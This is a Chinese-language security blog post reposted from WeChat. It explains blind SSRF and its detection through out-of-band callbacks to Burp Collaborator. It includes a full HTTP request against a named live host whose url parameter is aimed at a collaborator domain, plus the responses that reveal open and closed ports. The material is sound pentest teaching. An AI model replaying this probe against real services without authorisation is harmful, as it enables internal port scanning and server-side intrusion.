服务器端请求伪造 (SSRF) 是一个漏洞,攻击者可以让服务器代表他们发出请求。通常,这可允许攻击者访问否则不可用的内部资源。虽然典型的 SSRF 已经足够危险了,但还有一种更难以捉摸的变体,称为盲目 SSRF,攻击者无法直接看到伪造请求的结果。类似于盲目 SQLi 等攻击。这就是带外 (OOB) 技术发挥作用的地方,它提供了一种检测和验证盲 SSRF 漏洞的方法。带外资源负载:
https://portswigger.net/kb/issues/00100a00_out-of-band-resource-load-http
什么是盲人 SSRF?
在标准 SSRF 攻击中,攻击者会立即看到伪造请求的响应,这通常反映在应用程序的响应中。另一方面,Blind SSRF 不提供这种直接反馈。服务器可能会处理攻击者的请求并与内部或外部服务交互,但结果不会在即时输出中返回。
使用带外 (OOB) 技术的作用
由于直接响应在盲目 SSRF 攻击中不可见,因此我们需要一种替代方法来确认漏洞的存在,并可能泄露数据。这就是 OOB 技术的用武之地。
OOB 技术本质上涉及诱导易受攻击的服务器与我们控制的服务器或端点进行通信。通过监控此服务器,我们可以确认其有效负载是否执行了请求。或者,也可以使用 BURP Suite 的协作器等工具。
使用 OOB 检测盲 SSRF 是否存在:
在某次渗透Target:exampl.com过程中刚好遇到一个盲SSRF易受攻击的url参数:
使用burpcollaborator进行测试
构造请求:
GET /api/v1/http/default/raw?regex=%22service.name%22:/s%22(package-registry)%22&statusCodeMax=200&statusCodeMin=200&url=http://p8yfvg6nige7z2ndagpf3v181z7pve.burpcollaborator.net:22 HTTP/1.1
Host: fleet-status.app.elstc.co
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Cache-Control: max-age=0
Te: trailers
这是一个盲 SSRF,因此无法读取 HTTP 请求的响应。但是
如果不是有效端口则是关闭:
{"type":"HTTP-RAW","status":"WARNING","label":"http://p8yfvg6nige7z2ndagpf3v181z7pve.burpcollaborator.net:22","message":"timeout/host unreachable"}
如果是有效的端口则是打开:
{"type":"HTTP-RAW","status":"FAILURE","label":"http://p8yfvg6nige7z2ndagpf3v181z7pve.burpcollaborator.net:80","value":{"values":["u003chtmlu003eu003cbodyu003eift3z4lojdng3fv7r68q5szjigzu003c/bodyu003eu003c/htmlu003e"],"unit":"RAW"}}
本公众号不承担任何由于传播、利用本公众号所发布内容而造成的任何后果及法律责任。未经许可,不得转载。
原文始发于微信公众号(重生者安全团队):使用带外 (OOB) 技术查找和利用盲 SSRF
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论